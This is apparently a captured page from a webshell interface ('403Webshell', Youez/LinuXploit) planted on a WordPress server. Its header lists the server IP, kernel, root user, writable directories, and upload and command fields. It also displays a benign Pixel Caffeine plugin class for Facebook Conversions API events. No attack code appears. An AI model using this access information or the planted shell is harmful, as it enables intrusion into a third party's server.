403Webshell
Server IP : 37.27.51.148  /  Your IP : 37.27.51.148
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/pixel-caffeine/includes/server-side/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/pixel-caffeine/includes/server-side/class-conversions-api.php
<?php
/**
 * Main instance of conversions API
 *
 * @package Pixel Caffeine
 */

namespace PixelCaffeine\ServerSide;

use PixelCaffeine\Dependencies\FacebookAds\Api;
use PixelCaffeine\Dependencies\FacebookAds\Exception\Exception as FacebookException;
use PixelCaffeine\Dependencies\FacebookAds\Object\ServerSide\Event;
use PixelCaffeine\Dependencies\FacebookAds\Object\ServerSide\EventRequest;

/**
 * Class Conversions_API
 *
 * @package PixelCaffeine\ServerSide
 */
class Conversions_API {

	/**
	 * The SDK instance
	 *
	 * @var Api
	 */
	protected $api;

	/**
	 * Event factory instance
	 *
	 * @var Event_Factory
	 */
	protected $event_factory;

	/**
	 * The facebook Pixel ID
	 *
	 * @var string
	 */
	protected $pixel_id;

	/**
	 * True if we need to log every events sent (and not only the failed one).
	 *
	 * @var bool
	 */
	protected $log_events;

	/**
	 * Conversions_API constructor.
	 *
	 * @param string        $pixel_id The Pixel ID.
	 * @param Api           $api The SDK instance.
	 * @param Event_Factory $event_factory The event factory to help for event instance creation.
	 * @param bool          $log_events True if we need to log every events sent (and not only the failed one).
	 */
	public function __construct( $pixel_id, Api $api, Event_Factory $event_factory, $log_events = false ) {
		$this->api           = $api;
		$this->event_factory = $event_factory;
		$this->pixel_id      = $pixel_id;
		$this->log_events    = $log_events;
	}

	/**
	 * Send all events enqueued in one request
	 *
	 * @param Pixel_Event[] $events List of events must be sent.
	 *
	 * @return void
	 */
	public function send_events( $events ) {
		/**
		 * Facebook SDK instances of the events to sent
		 *
		 * @var Event[] $events
		 */
		$events = array_map( array( $this->event_factory, 'create_event' ), $events );

		$request = ( new EventRequest( $this->pixel_id ) )
			->setEvents( $events ); // @phpstan-ignore-line

		if ( $this->log_events ) {
			foreach ( $events as $event ) {
				$logger = new \AEPC_Admin_Logger();
				$logger->log(
					sprintf( 'Server Side Event success: %s', $event->getEventName() ),
					array(
						'exception' => 'ServerSideEventSent',
						'event'     => $event->normalize(),
					)
				);
			}
		}

		try {
			$response = $request->execute();
		} catch ( FacebookException $e ) {
			$logger = new \AEPC_Admin_Logger();
			$logger->log(
				sprintf( 'Server Side Event error: %s', $e->getMessage() ),
				array(
					'code'      => $e->getCode(),
					'exception' => get_class( $e ),
					'events'    => array_map(
						function( Event $event ) {
							return wp_json_encode( $event->normalize() );
						},
						$events
					),
				)
			);
		}
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit